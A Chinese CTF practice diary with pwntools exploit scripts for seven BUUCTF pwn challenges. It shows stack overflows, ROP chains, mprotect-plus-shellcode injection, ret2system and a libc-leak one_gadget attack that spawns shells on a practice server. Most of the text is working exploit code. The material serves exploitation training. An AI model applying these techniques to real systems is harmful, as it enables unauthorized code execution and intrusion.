BUUCTF-PWN刷题日记(二)

ciscn_2019_n_8

送分题…

'''
Author:3nc0de
Date:2020/05/15
'''

from pwn import *

r = process('./pwn')
#r = remote('node3.buuoj.cn', port)

payload=p32(0x11)*14
r.sendline(payload)

r.interactive()

not_the_same_3dsctf_2016

main函数中存在栈溢出，get_secret()函数将flag放进了fl4g所在的数据段
程序中有write()函数，所以可以用write()将flag打印出来


exp1:

'''
Author:3nc0de
Date:2020/05/15
'''

from pwn import *

r = remote('node3.buuoj.cn', port)
#r = process('./pwn')
elf = ELF('./pwn')

write = elf.sym['write']
secret = 0x080489A0
flag = 0x080ECA2D

payload = 'a'*0x2d
payload += p32(secret)
payload += p32(write)
payload += p32(0xdeadbeef)
payload += p32(1)
payload += p32(flag)
payload += p32(45)

r.sendline(payload)

r.interactive()

看了一下别人的WP，有另一种写法，于是我也试了一下，跟get_started_3dsctf_2016思路一模一样，不累述了。上次用的gets，这次就用read来写吧，反正思路都一样的。
exp2:

'''
Author:3nc0de
Date:2020/05/15
'''

from pwn import*

r = process('./pwn')
r = remote('node3.buuoj.cn', 28678)
elf = ELF('./pwn')

mprotect = elf.sym['mprotect']
pop3ret = 0x80483b8
data = 0x080eb000
#gets = elf.sym['gets']
read = elf.sym['read']

payload = 'a'*0x2d
payload += p32(mprotect)
payload += p32(pop3ret)
payload += p32(data)
payload += p32(0x2000)
payload += p32(7)
'''
payload += p32(gets)
payload += p32(data+0x1000)
payload += p32(data+0x1000)
'''
payload += p32(read)
payload += p32(data+1000)
payload += p32(0)
payload += p32(data+1000)
payload += p32(0x100)

r.sendline(payload)
sleep(1)
r.sendline(asm(shellcraft.sh()))
r.interactive()

[HarekazeCTF2019]baby_rop

通过scanf造成溢出修改返回地址。
发现程序中有/bin/sh字符串。

'''
Author:3nc0de
Date:2020/5/29
'''
from pwn import*

#r = process('./babyrop')
r = remote('node3.buuoj.cn', port)

pop_rdi = 0x400683
binsh = 0x601048
system = 0x400490

payload = 'a'*0x18
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
payload += p64(0xdeadbeef)

r.sendline(payload)
r.interactive()

我打通之后发现flag并不在当前目录下，而是在/home/babyrop目录下，找找就找到了。

jarvisoj_level2

就最基本的栈溢出叭，system和/bin/sh都可以找到

'''
Author:3nc0de
Date:2020/5/29
'''
from pwn import*

r = remote('node3.buuoj.cn', 28693)
#r = process('./level2')
elf = ELF('./level2')

binsh = 0x0804a024

payload = 'a'*(0x88+4)
payload += p32(elf.plt['system'])
payload += p32(0xdeadbeef)
payload += p32(binsh)

r.sendline(payload)
r.interactive()

one_gadget

在init()函数中发现它打印了printf()函数的真实地址，并且题目提供了libc，那就可以通过这两者算出libc_base

在main函数中发现v4是函数指针，我们可以通过将函数地址/ropchain/gadget发送给函数指针来达到调用的目的。
根据题目需要使用one_gadget工具。one_gadget 是glibc里调用execve(’/bin/sh’, NULL, NULL)的一段非常有用的gadget。
具体用法：

one_gadget libc.xx.xx

找到了四处one_gadget，可以一个一个试
EXP:

#coding:utf-8
from pwn import*

one_gadget = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

for gadget in one_gadget:
    #r = process('./one_gadget')
    r = remote('node3.buuoj.cn', port)
    libc = ELF('./libc-2.29.so')

    printf_addr = int(r.recvline()[-13:-1], 16)

    libc_base = printf_addr - libc.sym['printf']

    payload = libc_base + gadget
    r.sendline(str(payload))
    try:
        r.interactive()
        #在出现GOT EOF错误之后记得Ctrl+C终止当前的interactive()进入下一轮send
    except Exception as e:
        r.close()

bjdctf_2020_babystack

一道十分普通的栈溢出题
exp:

'''
Date:2020/6/11
Author:3nc0de
'''
from pwn import*
#r = process('./bjdctf_2020_babystack')
r = remote('node3.buuoj.cn', port)
r.sendlineafter('name:\n', '100')
payload = 'a'*(0x10+8) + p64(0x4006e6)
r.sendlineafter('name?\n', payload)
r.interactive()

jarvisoj_level2_x64

64位栈溢出，注意寄存器传参就好了
exp:

#coding:utf-8
from pwn import*
#r = process('./level2_x64')
r = remote('node3.buuoj.cn', 29537)
e = ELF('./level2_x64')
pop_rdi = 0x4006b3
system_addr = e.sym['system']
binsh = 0x600a90

#r.recvuntil("Input:")
payload = 'a'*(0x80+8)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_addr)
payload += p64(0xdeadbeef)

r.sendline(payload)
r.interactive()